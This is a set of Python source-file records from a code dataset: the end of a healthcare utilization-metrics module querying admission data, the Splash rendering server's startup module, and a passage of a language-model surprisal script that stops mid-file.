date.\n        The sum of these two values are returned as the total\n        utilization days during a given period.\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: days in period that ppts are in the indicated utilization\n        \"\"\"\n        start_date, end_date = params\n\n        query1 = [start_date, end_date, start_date, end_date]\n        query2 = [start_date, start_date, start_date, end_date]\n        query3 = [end_date, start_date, end_date, end_date]\n        query4 = [end_date, start_date, start_date, end_date]\n\n        all_params = query1 + query2 + query3 + query4\n        query = f\"\"\"\n            with all_days as (\n            SELECT member_id, (julianday(discharge_date) - julianday(admission_date))+1 as days\n            FROM {utilization_table}\n            WHERE admission_date BETWEEN ? AND ?\n            AND discharge_date BETWEEN ? AND ?\n            UNION\n            SELECT member_id, (julianday(discharge_date) - julianday(?))+1 as days\n            FROM {utilization_table}\n            WHERE admission_date < ?\n            AND discharge_date BETWEEN ? AND ?\n            UNION\n            SELECT member_id, (julianday(?) - julianday(admission_date))+1 as days\n            FROM {utilization_table}\n            WHERE admission_date BETWEEN ? AND ?\n            AND (discharge_date > ?\n            OR discharge_date IS NULL)\n            UNION\n            SELECT member_id, (julianday(?) - julianday(?))+1 as days\n            FROM {utilization_table}\n            WHERE admission_date < ?\n            AND (discharge_date > ?\n            OR discharge_date IS NULL)\n            )\n            SELECT SUM(days)\n            FROM all_days\n            \"\"\"\n        return self.single_value_query(query, all_params)\n\n    def days_per_100MM(self, params, utilization_table):\n        \"\"\"\n        First the days for admissions that occur during the params is calculated.\n        Next the days for admissions occurring before the period are calculated using\n        the start date of the period as the admissions date.\n        The sum of these two values are divided by the member months in the period.\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: days in period that ppts are in the indicated utilization per 100 member months\n        \"\"\"\n        days = self.utilization_days(params, utilization_table)\n\n        enrollment = Enrollment(self.db_filepath)\n        census = enrollment.member_months(params)\n\n        return round((days / census) * 100, 2)\n\n    def top_admit_reason_by_los(self, params, top_x=10):\n        \"\"\"\n        Finds acute admissions with a discharge_date during the period,\n        orders them by los and then returns the *top_x* number of rows\n        from that query as a pandas dataframe.\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            top_x(int): cut off for top LOS admissions\n\n        Returns:\n            DataFrame: top_x acute admissions by LOS with admit reason included\n        \"\"\"\n        query = f\"\"\"\n        SELECT admit_reason, los, facility, admission_date, visit_id FROM acute\n        WHERE discharge_date BETWEEN ? AND ?\n        AND admit_reason != 'None'\n        ORDER BY los DESC\n        LIMIT {top_x};\n        \"\"\"\n        return self.dataframe_query(query, params)\n\n    def top_10_er_users(self, params):\n        \"\"\"\n        Counts the numbers of visits with an admission_date during the period\n        grouped by participants and returns the top 10 rows as a pandas dataframe.\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n\n        Returns:\n            DataFrame: 10 ppts with the most ER visits in the period.\n        \"\"\"\n        query = \"\"\"\n        SELECT er_only.member_id, last, first, COUNT(*) as visits\n        FROM er_only\n        JOIN ppts on er_only.member_id=ppts.member_id\n        WHERE admission_date BETWEEN ? AND ?\n        GROUP BY er_only.member_id\n        ORDER BY visits DESC\n        LIMIT 10;    \n        \"\"\"\n        return self.dataframe_query(query, params)\n\n    def admissions_30day_readmit_df(self, params, utilization_table=\"acute\"):\n        \"\"\"\n        Returns a pandas dataframe of any acute admissions with an admission_date\n        during the period and a day_since_last_admission value less than or equal to 30.\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n\n        Returns:\n            DataFrame: All acute admissions that are a 30-day readmit\n        \"\"\"\n        query = f\"\"\"\n        SELECT *\n        FROM {utilization_table}\n        WHERE admission_date BETWEEN ? AND ?\n        AND days_since_last_admission <= 30\n        \"\"\"\n\n        return self.dataframe_query(query, params)\n\n    def admissions_resulting_in_30day_df(self, params, utilization_table=\"acute\"):\n        \"\"\"\n        Finds the admission prior to any admissions in the `acute_admissions_30day_readmit_df`.\n        Returns these admissions as a pandas dataframe.\n\n        Finds all 30-day readmits, and then find the admission with the same\n        member_id and a discharge date that's difference to the\n        the 30-day readmission admission date is equal to the readmissions\n        days_since_last_admission value. \n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n\n        Returns:\n            DataFrame: All acute admissions that result in a 30-day readmit\n        \"\"\"\n        query_for_30days = f\"\"\"\n        SELECT member_id, admission_date, days_since_last_admission\n        FROM {utilization_table}\n        WHERE admission_date BETWEEN ? AND ?\n        AND days_since_last_admission <= 30\n        \"\"\"\n\n        query_for_resulting_in_30days = f\"\"\"\n        SELECT member_id, admission_date, discharge_date, facility, los, admit_reason\n        FROM {utilization_table}\n        WHERE member_id = ?\n        AND (julianday(?) - julianday(discharge_date)) = ?;\n        \"\"\"\n\n        thirty_day_readmits = self.fetchall_query(query_for_30days, params)\n\n        visits_resulting_in_30day = pd.DataFrame(\n            columns=[\n                \"member_id\",\n                \"admission_date\",\n                \"discharge_date\",\n                \"facility\",\n                \"los\",\n                \"admit_reason\",\n            ]\n        )\n\n        for id_date_days in thirty_day_readmits:\n            visits_resulting_in_30day = visits_resulting_in_30day.append(\n                self.dataframe_query(query_for_resulting_in_30days, id_date_days)\n            )\n\n        return visits_resulting_in_30day\n\n    def unique_admissions_count(self, params, utilization_table):\n        \"\"\"\n        Returns a count of the distinct ppts with an admission during the period.\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: number of ppts with an admission\n        \"\"\"\n        query = f\"\"\"\n        SELECT COUNT(DISTINCT(member_id))\n        FROM {utilization_table}\n        WHERE admission_date BETWEEN ? AND ?;    \n        \"\"\"\n\n        return self.single_value_query(query, params)\n\n    def weekend_admissions_count(self, params, utilization_table):\n        \"\"\"\n        Returns a count of the admissions during the period with a dow value of 'Saturday' or 'Sunday'\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: number of ppts with an admission on the weekend\n        \"\"\"\n        query = f\"\"\"\n        SELECT COUNT(*)\n        FROM {utilization_table}\n        WHERE admission_date BETWEEN ? AND ?\n        AND (dow = 'Saturday' OR dow = 'Sunday');\n        \"\"\"\n\n        return self.single_value_query(query, params)\n\n    def weekend_admission_percent(self, params, utilization_table):\n        \"\"\"\n        Returns a count of the admissions during the period with a dow value of 'Saturday' or 'Sunday'\n        divided by all admissions multiplied by 100\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            float: percent of admissions that are on the weekend\n        \"\"\"\n        admissions = self.admissions_count(params, utilization_table)\n\n        if admissions == 0:\n            return 0\n\n        return round(\n            self.weekend_admissions_count(params, utilization_table) / admissions * 100,\n            2,\n        )\n\n    def admissions_per_100MM(self, params, utilization_table):\n        \"\"\"\n        Sum of the count of admissions with an admission_date during the period divided by the sum\n        of the first of the month census for each month during the period multiplied by 100.\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            float: number of admissions per 100 member months\n        \"\"\"\n        query = f\"\"\"SELECT ROUND(SUM(admissions)*100.0/SUM(census), 2) as rate\n        FROM\n        (SELECT total as census, month,\n        strftime(\"%Y-%m\", month) as month_year\n        FROM monthly_census) as month_year_census\n        LEFT JOIN\n        (\n        SELECT COUNT({utilization_table}.admission_date) as admissions,\n        strftime(\"%Y-%m\", admission_date) as month_year\n        FROM {utilization_table}\n        GROUP BY month_year\n        ) as monthly_admissions\n        ON month_year_census.month_year = monthly_admissions.month_year\n        WHERE month BETWEEN ? AND ?;\n        \"\"\"\n\n        return self.single_value_query(query, params)\n\n    def nf_discharged_to_higher_loc(self, params, return_df=False):\n        \"\"\"\n        Finds all nursing_home admissions or discharges during the period.\n        Merges any discharges that have a disposition of \"Nursing home or rehabilitation facility\"\n        with all nursing_home admissions on the discharge_date matching the admission_date.\n        Filter to only include those discharges with a non-null admission_date and a new admit_reason\n        of \"custodial\" where a previous admit_reason was not custodial\n        and counts the discharges in this filtered group.\n        It then sums up any discharges to \"Acute care hospital or psychiatric facility\".\n        \n        These two values are added together and returned. \n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n\n        Returns:\n            int: number of discharges to a higher level of care\n        \"\"\"\n        query = \"\"\"\n        SELECT *\n        FROM nursing_home\n        WHERE (discharge_date >= ?\n        OR discharge_date IS NULL)\n        AND admission_date <= ?;\n        \"\"\"\n\n        nfs = self.dataframe_query(query, params)\n\n        to_nf = nfs[\n            nfs[\"discharge_disposition\"] == \"Nursing home or rehabilitation facility\"\n        ][[\"member_id\", \"discharge_date\", \"discharge_disposition\", \"admit_reason\"]]\n\n        resulting_admissions = to_nf.merge(\n            nfs,\n            how=\"left\",\n            left_on=[\"member_id\", \"discharge_date\"],\n            right_on=[\"member_id\", \"admission_date\"],\n        )\n\n        to_higher_nf = resulting_admissions[\n            (resulting_admissions[\"admission_date\"].notnull())\n            & (resulting_admissions[\"admit_reason_x\"] != \"custodial\")\n            & (resulting_admissions[\"admit_reason_y\"] == \"custodial\")\n        ]\n\n        to_hosp = nfs[\n            nfs[\"discharge_disposition\"]\n            == \"Acute care hospital or psychiatric facility\"\n        ].copy()\n\n        if return_df:\n            return to_higher_nf.append(to_hosp, sort=False)\n\n        discharged_higher = to_higher_nf.shape[0] + to_hosp.shape[0]\n\n        return discharged_higher\n\n    def percent_nf_discharged_to_higher_loc(self, params):\n        \"\"\"\n        Finds all nursing_home admissions or discharges during the period.\n        Merges any discharges that have a disposition of \"Nursing home or rehabilitation facility\"\n        with all nursing_home admissions on the discharge_date matching the admission_date.\n        Filter to only include those discharges with a non-null admission_date and a new admit_reason\n        of \"custodial\" where a previous admit_reason was not custodial\n        and counts the discharges in this filtered group.\n        It then sums up any discharges to \"Acute care hospital or psychiatric facility\".\n        \n        These two values are added together and divided by the total number of\n        nursing home discharges. \n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n\n        Returns:\n            float: percent of discharges to a higher level of care\n        \"\"\"\n\n        nf_discharges = self.discharges_count(params, \"nursing_home\")\n        if nf_discharges == 0:\n            return 0\n        return round(self.nf_discharged_to_higher_loc(params) / nf_discharges * 100, 2)\n\n","repo_name":"whatscottcodes/paceutils","sub_path":"paceutils/utilization.py","file_name":"utilization.py","file_ext":"py","file_size_in_byte":33351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73039917813","text":"from __future__ import absolute_import\nimport os\nimport sys\nimport optparse\nimport resource\nimport traceback\nimport signal\nimport functools\n\nfrom splash import defaults, __version__\nfrom splash import xvfb\nfrom splash.qtutils import init_qt_app\n\n\ndef install_qtreactor(verbose):\n    init_qt_app(verbose)\n    import qt5reactor\n    qt5reactor.install()\n\n\ndef parse_opts(jupyter=False, argv=sys.argv):\n    _bool_default = {True:' (default)', False: ''}\n\n    op = optparse.OptionParser()\n    op.add_option(\"-f\", \"--logfile\", help=\"log file\")\n    op.add_option(\"-m\", \"--maxrss\", type=float, default=0,\n        help=\"exit if max RSS reaches this value (in MB or ratio of physical mem) (default: %default)\")\n    op.add_option(\"--proxy-profiles-path\",\n        help=\"path to a folder with proxy profiles\")\n    op.add_option(\"--js-profiles-path\",\n        help=\"path to a folder with javascript profiles\")\n    op.add_option(\"--no-js-cross-domain-access\",\n        action=\"store_false\",\n        dest=\"js_cross_domain_enabled\",\n        default=not defaults.JS_CROSS_DOMAIN_ENABLED,\n        help=\"disable support for cross domain access when executing custom javascript\" + _bool_default[not defaults.JS_CROSS_DOMAIN_ENABLED])\n    op.add_option(\"--js-cross-domain-access\",\n        action=\"store_true\",\n        dest=\"js_cross_domain_enabled\",\n        default=defaults.JS_CROSS_DOMAIN_ENABLED,\n        help=\"enable support for cross domain access when executing custom javascript \"\n             \"(WARNING: it could break rendering for some of the websites)\" + _bool_default[defaults.JS_CROSS_DOMAIN_ENABLED])\n    op.add_option('--allowed-schemes', default=\",\".join(defaults.ALLOWED_SCHEMES),\n        help=\"comma-separated list of allowed URI schemes (defaut: %default)\")\n    op.add_option(\"--filters-path\",\n        help=\"path to a folder with network request filters\")\n    op.add_option(\"--disable-private-mode\", action=\"store_true\", default=not defaults.PRIVATE_MODE,\n        help=\"disable private mode (WARNING: data may leak between requests)\" + _bool_default[not defaults.PRIVATE_MODE])\n    op.add_option(\"--disable-xvfb\", action=\"store_true\", default=False,\n        help=\"disable Xvfb auto start\")\n    op.add_option(\"--disable-lua-sandbox\", action=\"store_true\", default=False,\n        help=\"disable Lua sandbox\")\n    op.add_option(\"--lua-package-path\", default=\"\",\n        help=\"semicolon-separated places to add to Lua package.path. \"\n             \"Each place can have a ? in it that's replaced with the module name.\")\n    op.add_option(\"--lua-sandbox-allowed-modules\", default=\"\",\n        help=\"semicolon-separated list of Lua module names allowed to be required from a sandbox.\")\n    op.add_option(\"-v\", \"--verbosity\", type=int, default=defaults.VERBOSITY,\n        help=\"verbosity level; valid values are integers from 0 to 5 (default: %default)\")\n    op.add_option(\"--version\", action=\"store_true\",\n        help=\"print Splash version number and exit\")\n\n    if not jupyter:\n        # This options are specific of splash server and not used in splash-jupyter\n        op.add_option(\"-p\", \"--port\", type=\"int\", default=defaults.SPLASH_PORT,\n            help=\"port to listen to (default: %default)\")\n        op.add_option(\"-s\", \"--slots\", type=\"int\", default=defaults.SLOTS,\n            help=\"number of render slots (default: %default)\")\n        op.add_option(\"--max-timeout\", type=\"float\", default=defaults.MAX_TIMEOUT,\n            help=\"maximum allowed value for timeout (default: %default)\")\n        op.add_option(\"--manhole\", action=\"store_true\",\n            help=\"enable manhole server\")\n        op.add_option(\"--disable-ui\", action=\"store_true\", default=False,\n            help=\"disable web UI\")\n        op.add_option(\"--disable-lua\", action=\"store_true\", default=False,\n            help=\"disable Lua scripting\")\n        op.add_option(\"--argument-cache-max-entries\", type=\"int\",\n            default=defaults.ARGUMENT_CACHE_MAX_ENTRIES,\n            help=\"maximum number of entries in arguments cache (default: %default)\")\n\n    opts, args = op.parse_args(argv)\n\n    if jupyter:\n        opts.manhole = False\n        opts.disable_ui = True\n        opts.disable_lua = False\n        opts.port = None\n        opts.slots = None\n        opts.max_timeout = None\n        opts.argument_cache_max_entries = None\n\n    return opts, args\n\n\ndef start_logging(opts):\n    import twisted\n    from twisted.python import log\n    if opts.logfile:\n        from twisted.python.logfile import DailyLogFile\n        logfile = DailyLogFile.fromFullPath(opts.logfile)\n    else:\n        logfile = sys.stderr\n    flo = log.startLogging(logfile)\n\n    if twisted.version.major >= 13:  # add microseconds to log\n        flo.timeFormat = \"%Y-%m-%d %H:%M:%S.%f%z\"\n\n\ndef splash_started(opts, stderr):\n    if opts.logfile:\n        stderr.write(\"Splash started - logging to: %s\\n\" % opts.logfile)\n\n\ndef bump_nofile_limit():\n    from twisted.python import log\n    log.msg(\"Open files limit: %d\" % resource.getrlimit(resource.RLIMIT_NOFILE)[0])\n    soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE)\n    values_to_try = [v for v in [hard, 100000, 10000] if v > soft]\n    for new_soft in values_to_try:\n        try:\n            resource.setrlimit(resource.RLIMIT_NOFILE, (new_soft, hard))\n        except ValueError:\n            continue\n        else:\n            log.msg(\"Open files limit increased from %d to %d\" % (soft, new_soft))\n            break\n    else:\n        log.msg(\"Can't bump open files limit\")\n\n\ndef log_splash_version():\n    import twisted\n    from twisted.python import log\n    from splash import lua\n    from splash.qtutils import get_versions\n\n    log.msg(\"Splash version: %s\" % __version__)\n\n    verdict = get_versions()\n    versions = [\n        \"Qt %s\" % verdict['qt'],\n        \"PyQt %s\" % verdict['pyqt'],\n        \"WebKit %s\" % verdict['webkit'],\n        \"sip %s\" % verdict['sip'],\n        \"Twisted %s\" % twisted.version.short(),\n    ]\n\n    if lua.is_supported():\n        versions.append(lua.get_version())\n\n    log.msg(\", \".join(versions))\n    log.msg(\"Python %s\" % sys.version.replace(\"\\n\", \"\"))\n\n\ndef manhole_server(portnum=None, username=None, password=None):\n    from twisted.internet import reactor\n    from twisted.manhole import telnet\n\n    f = telnet.ShellFactory()\n    f.username = defaults.MANHOLE_USERNAME if username is None else username\n    f.password = defaults.MANHOLE_PASSWORD if password is None else password\n    portnum = defaults.MANHOLE_PORT if portnum is None else portnum\n    reactor.listenTCP(portnum, f)\n\n\ndef splash_server(portnum, slots, network_manager_factory, max_timeout,\n                  splash_proxy_factory_cls=None,\n                  js_profiles_path=None,\n                  ui_enabled=True,\n                  lua_enabled=True,\n                  lua_sandbox_enabled=True,\n                  lua_package_path=\"\",\n                  lua_sandbox_allowed_modules=(),\n                  argument_cache_max_entries=None,\n                  verbosity=None):\n    from twisted.internet import reactor\n    from twisted.web.server import Site\n    from splash.resources import Root\n    from splash.pool import RenderPool\n    from twisted.python import log\n    from splash import lua\n\n    verbosity = defaults.VERBOSITY if verbosity is None else verbosity\n    log.msg(\"verbosity=%d\" % verbosity)\n\n    slots = defaults.SLOTS if slots is None else slots\n    log.msg(\"slots=%s\" % slots)\n\n    if argument_cache_max_entries:\n        log.msg(\"argument_cache_max_entries=%s\" % argument_cache_max_entries)\n\n    pool = RenderPool(\n        slots=slots,\n        network_manager_factory=network_manager_factory,\n        splash_proxy_factory_cls=splash_proxy_factory_cls,\n        js_profiles_path=js_profiles_path,\n        verbosity=verbosity,\n    )\n\n    if not lua.is_supported() and lua_enabled:\n        lua_enabled = False\n        log.msg(\"WARNING: Lua is not available, but --disable-lua option is not passed\")\n\n    # HTTP API\n    onoff = {True: \"enabled\", False: \"disabled\"}\n    log.msg(\n        \"Web UI: %s, Lua: %s (sandbox: %s)\" % (\n            onoff[ui_enabled],\n            onoff[lua_enabled],\n            onoff[lua_sandbox_enabled],\n        )\n    )\n\n    root = Root(\n        pool=pool,\n        ui_enabled=ui_enabled,\n        lua_enabled=lua_enabled,\n        lua_sandbox_enabled=lua_sandbox_enabled,\n        lua_package_path=lua_package_path,\n        lua_sandbox_allowed_modules=lua_sandbox_allowed_modules,\n        max_timeout=max_timeout,\n        argument_cache_max_entries=argument_cache_max_entries,\n    )\n    factory = Site(root)\n    reactor.listenTCP(portnum, factory)\n\n\ndef monitor_maxrss(maxrss):\n    from twisted.internet import reactor, task\n    from twisted.python import log\n    from splash.utils import get_ru_maxrss, get_total_phymem\n\n    # Support maxrss as a ratio of total physical memory\n    if 0.0 < maxrss < 1.0:\n        maxrss = get_total_phymem() * maxrss / (1024 ** 2)\n\n    def check_maxrss():\n        if get_ru_maxrss() > maxrss * (1024 ** 2):\n            log.msg(\"maxrss exceeded %d MB, shutting down...\" % maxrss)\n\n            # XXX: for some reason twisted qt5 reactor can stop without\n            # finishing the Python process. This is a hack to exit anyways.\n            def force_shutdown():\n                log.msg(\"Reactor didn't stop cleanly, doing unclean shutdown.\")\n                os._exit(0)\n            reactor.callLater(2.0, force_shutdown)\n\n            reactor.stop()\n\n    if maxrss:\n        log.msg(\"maxrss limit: %d MB\" % maxrss)\n        t = task.LoopingCall(check_maxrss)\n        t.start(60, now=False)\n\n\ndef default_splash_server(portnum, max_timeout, slots=None,\n                          proxy_profiles_path=None, js_profiles_path=None,\n                          js_disable_cross_domain_access=False,\n                          filters_path=None, allowed_schemes=None,\n                          private_mode=True,\n                          ui_enabled=True,\n                          lua_enabled=True,\n                          lua_sandbox_enabled=True,\n                          lua_package_path=\"\",\n                          lua_sandbox_allowed_modules=(),\n                          argument_cache_max_entries=None,\n                          verbosity=None,\n                          server_factory=splash_server):\n    from splash import network_manager\n    network_manager_factory = network_manager.NetworkManagerFactory(\n        filters_path=filters_path,\n        verbosity=verbosity,\n        allowed_schemes=allowed_schemes,\n    )\n    splash_proxy_factory_cls = _default_proxy_factory(proxy_profiles_path)\n    js_profiles_path = _check_js_profiles_path(js_profiles_path)\n    _set_global_render_settings(js_disable_cross_domain_access, private_mode)\n    return server_factory(\n        portnum=portnum,\n        slots=slots,\n        network_manager_factory=network_manager_factory,\n        splash_proxy_factory_cls=splash_proxy_factory_cls,\n        js_profiles_path=js_profiles_path,\n        ui_enabled=ui_enabled,\n        lua_enabled=lua_enabled,\n        lua_sandbox_enabled=lua_sandbox_enabled,\n        lua_package_path=lua_package_path,\n        lua_sandbox_allowed_modules=lua_sandbox_allowed_modules,\n        verbosity=verbosity,\n        max_timeout=max_timeout,\n        argument_cache_max_entries=argument_cache_max_entries,\n    )\n\n\ndef _default_proxy_factory(proxy_profiles_path):\n    from twisted.python import log\n    from splash import proxy\n\n    if proxy_profiles_path is not None:\n        if os.path.isdir(proxy_profiles_path):\n            log.msg(\"proxy profiles support is enabled, \"\n                    \"proxy profiles path: %s\" % proxy_profiles_path)\n        else:\n            log.msg(\"--proxy-profiles-path does not exist or it is not a folder; \"\n                    \"proxy won't be used\")\n            proxy_profiles_path = None\n\n    return functools.partial(proxy.get_factory, proxy_profiles_path)\n\n\ndef _check_js_profiles_path(js_profiles_path):\n    from twisted.python import log\n\n    if js_profiles_path is not None and not os.path.isdir(js_profiles_path):\n        log.msg(\"--js-profiles-path does not exist or it is not a folder; \"\n                \"js profiles won't be used\")\n    return js_profiles_path\n\n\ndef _set_global_render_settings(js_disable_cross_domain_access, private_mode):\n    from PyQt5.QtWebKit import QWebSecurityOrigin, QWebSettings\n\n    if js_disable_cross_domain_access is False:\n        # In order to enable cross domain requests it is necessary to add\n        # the http and https to the local scheme, this way all the urls are\n        # seen as inside the same security origin.\n        for scheme in ['http', 'https']:\n            QWebSecurityOrigin.addLocalScheme(scheme)\n\n    settings = QWebSettings.globalSettings()\n    settings.setAttribute(QWebSettings.PrivateBrowsingEnabled, private_mode)\n    settings.setAttribute(QWebSettings.LocalStorageEnabled, not private_mode)\n\n\ndef main(jupyter=False, argv=sys.argv, server_factory=splash_server):\n    opts, _ = parse_opts(jupyter, argv)\n    if opts.version:\n        print(__version__)\n        sys.exit(0)\n\n    if not jupyter:\n        start_logging(opts)\n    log_splash_version()\n    bump_nofile_limit()\n\n    with xvfb.autostart(opts.disable_xvfb) as x:\n        xvfb.log_options(x)\n\n        install_qtreactor(opts.verbosity >= 5)\n\n        monitor_maxrss(opts.maxrss)\n        if opts.manhole:\n            manhole_server()\n\n        default_splash_server(\n            portnum=opts.port,\n            slots=opts.slots,\n            proxy_profiles_path=opts.proxy_profiles_path,\n            js_profiles_path=opts.js_profiles_path,\n            js_disable_cross_domain_access=not opts.js_cross_domain_enabled,\n            filters_path=opts.filters_path,\n            allowed_schemes=opts.allowed_schemes,\n            private_mode=not opts.disable_private_mode,\n            ui_enabled=not opts.disable_ui,\n            lua_enabled=not opts.disable_lua,\n            lua_sandbox_enabled=not opts.disable_lua_sandbox,\n            lua_package_path=opts.lua_package_path.strip(\";\"),\n            lua_sandbox_allowed_modules=opts.lua_sandbox_allowed_modules.split(\";\"),\n            verbosity=opts.verbosity,\n            max_timeout=opts.max_timeout,\n            argument_cache_max_entries=opts.argument_cache_max_entries,\n            server_factory=server_factory,\n        )\n        signal.signal(signal.SIGUSR1, lambda s, f: traceback.print_stack(f))\n\n        if not jupyter:\n            from twisted.internet import reactor\n            reactor.callWhenRunning(splash_started, opts, sys.stderr)\n            reactor.run()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/scrapinghub_splash/splash-master/splash/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":14576,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"28367629425","text":"import argparse\nimport os\nimport random\nimport time\nfrom collections import defaultdict\n\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nfrom utils import load_jsonl\n\nimport torch\nfrom transformers import (\n    AutoTokenizer,\n    AutoModelWithLMHead,\n    OPTForCausalLM,\n)\n\nimport logging\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\ndef get_sentence_surprisal(\n    context, sentence, model, max_seq_len, tokenizer, separator=None\n):\n    \"\"\"\n    Process sentence and return the negative log probability of each token\n\n    Special token formats for in/out of context samples\n    - in_context: `<sep/bos> context <sep/none> target`\n    - oo_context: `<sep/bos> target`\n    \"\"\"\n    context_ids = tokenizer(context)[\"input_ids\"]\n    sentence_ids = tokenizer(sentence)[\"input_ids\"]\n\n    # Input: Join context and sentence\n    if separator is not None:\n        input_ids = [separator] + context_ids + [separator] + sentence_ids\n    else:\n        input_ids = [tokenizer.bos_token_id] + context_ids + sentence_ids\n    # Cut the input to the maximum length of the model\n    input_ids = input_ids[-max_seq_len:]\n    input_ids = torch.tensor(input_ids, device=model.device)\n\n    with torch.no_grad():\n        outputs = model(input_ids.unsqueeze(0))\n        log_probs = torch.nn.functional.log_softmax(outputs.logits.squeeze(0), dim=-1)\n        # Get the log probability for each token in the sentence (index from the end of input_ids, not the start of context)\n        #         in_context_token_log_probs = log_probs[range(len(context_ids), len(input_ids) - 1), sentence_ids]\n        in_context_token_log_probs = log_probs[\n            range(len(input_ids) - len(sentence_ids) - 1, len(input_ids) - 1),\n            sentence_ids,\n        ]\n        # Get the conditional entropy for each token in the sentence\n        probs = torch.exp(log_probs)\n        in_context_entropies = -(log_probs * probs).nansum(-1)\n        # Get the deviation of the information content from the conditional entropy\n        in_context_deviations = torch.abs(\n            (-in_context_token_log_probs)\n            -\n            #             in_context_entropies[range(len(context_ids), len(input_ids) - 1)]\n            in_context_entropies[\n                range(len(input_ids) - len(sentence_ids) - 1, len(input_ids) - 1)\n            ]\n        )\n\n    # Now out of context\n    assert len(sentence_ids) < max_seq_len, \"Sentence too long\"\n    if separator is not None:\n        input_ids = torch.tensor([separator] + sentence_ids, device=model.device)\n    else:\n        input_ids = torch.tensor(\n            # tokenizer(' ')[\"input_ids\"] + sentence_ids, device=model.device\n            [tokenizer.bos_token_id] + sentence_ids, device=model.device\n        )\n    with torch.no_grad():\n        outputs = model(input_ids.unsqueeze(0))\n        log_probs = torch.nn.functional.log_softmax(outputs.logits.squeeze(0), dim=-1)\n        out_of_context_token_log_probs = log_probs[\n            range(len(input_ids) - 1), sentence_ids\n        ]\n        probs = torch.exp(log_probs)\n        out_of_context_entropies = -(log_probs * probs).nansum(-1)\n        out_of_context_deviations = torch.abs(\n            (-out_of_context_token_log_probs)\n            - out_of_context_entropies[range(len(input_ids) - 1)]\n        )\n\n    rdict = {\n        \"in_context_surprisal\": -in_context_token_log_probs,\n        \"out_of_context_surprisal\": -out_of_context_token_log_probs,\n        \"in_context_entropies\": in_context_entropies,\n        \"out_of_context_entropies\": out_of_context_entropies,\n        \"in_context_deviations\": in_context_deviations,\n        \"out_of_context_deviations\": out_of_context_deviations,\n    }\n    for k in rdict:\n        rdict[k] = rdict[k].numpy()\n\n    return rdict\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    # parser.add_argument(\"--n_samples\", type=int, default=10)\n    parser.add_argument(\n        \"--model_name\", type=str, help=\"Name of the huggingface model to be used.\"\n    )\n    parser.add_argument(\"--corpus_path\", type=str, required=True)\n    parser.add_argument(\"--output_path\", type=str, required=True)\n    parser.add_argument(\"--separator\", type=str, default=None)\n    parser.add_argument(\"--debug_instances\", type=int, default=None)\n    parser.add_argument(\"--logging\", action=\"store_true\", default=False)\n    parser.add_argument(\"--random_contexts\", action=\"store_true\", default=True)\n\n    args = parser.parse_args()\n\n    # Load model and tokenizer\n    print(args)\n    print(\"Initializing model and loading data...\")\n    device = torch.cuda.current_device() if torch.cuda.is_available() else \"cpu\"\n    print(f\"Device: {device}\")\n\n    tokenizer = AutoTokenizer.from_pretrained(\n        args.model_name,\n    )\n    if \"facebook/opt\" in args.model_name:\n        model = OPTForCausalLM.from_pretrained(\n            args.model_name,\n        )  # device_map=\"auto\")\n    else:\n        model = AutoModelWithLMHead.from_pretrained(\n            args.model_name,\n        )  # device_map=\"auto\")\n\n    # Deal with HF config differences\n    if \"n_positions\" in model.config.__dict__.keys():\n        max_seq_len = model.config.n_positions\n    else:\n        max_seq_len = model.config.max_position_embeddings\n\n    # Load corpus\n    data = load_jsonl(args.corpus_path)\n\n    # Collect results\n    results = defaultdict(list)\n\n    print(f\"Dataset size: {len(data)}\")\n    if args.debug_instances is not None:\n        n_rows = args.debug_instances\n        print(f\"Debugging on {n_rows} instances\")\n    else:\n        n_rows = len(data)\n\n    if (\n        \"switchboard\" in args.corpus_path\n        or \"dailydialog\" in args.corpus_path\n        or \"BLL2018\" in args.corpus_path\n    ):\n        contexts = {elem[\"context_id\"]: elem[\"context\"] for elem in data}\n    else:\n        contexts = {elem[\"id\"]: elem[\"context\"] for elem in data}\n    all_context_ids = list(contexts.keys())\n \n    # Collect list of context ids with empty contexts (only for RT/Clasp datasets)\n    if \"BLL2018\" in args.corpus_path:\n        empty_context_ids = {d['context_id'] for d in data if len(d['context']) == 0}\n    elif \"switchboard\" in args.corpus_path or \"dailydialog\" in args.corpus_path:\n        empty_context_ids = set()\n    else:\n        empty_context_ids = {c for c in all_context_ids if '_0' in c}\n    print(f'Proportion of empty contexts: {(len(empty_context_ids) / len(data)) * 100:.2f}%')\n\n    # Loop through stimuli ((context, response) pairs)\n    for i, row in tqdm(enumerate(data[:n_rows]), total=n_rows):\n\n        # Save acceptability or RT judgements\n        judgements = dict()\n        if \"switchboard\" in args.corpus_path or \"dailydialog\" in args.corpus_path:\n            judgements[\"judgements\"] = row[\"judgements\"]\n            judgements[\"mean_acceptability\"] = np.mean(row[\"judgements\"])\n            judgements[\"median_acceptability\"] = np.median(row[\"judgements\"])\n        if \"BLL2018\" in 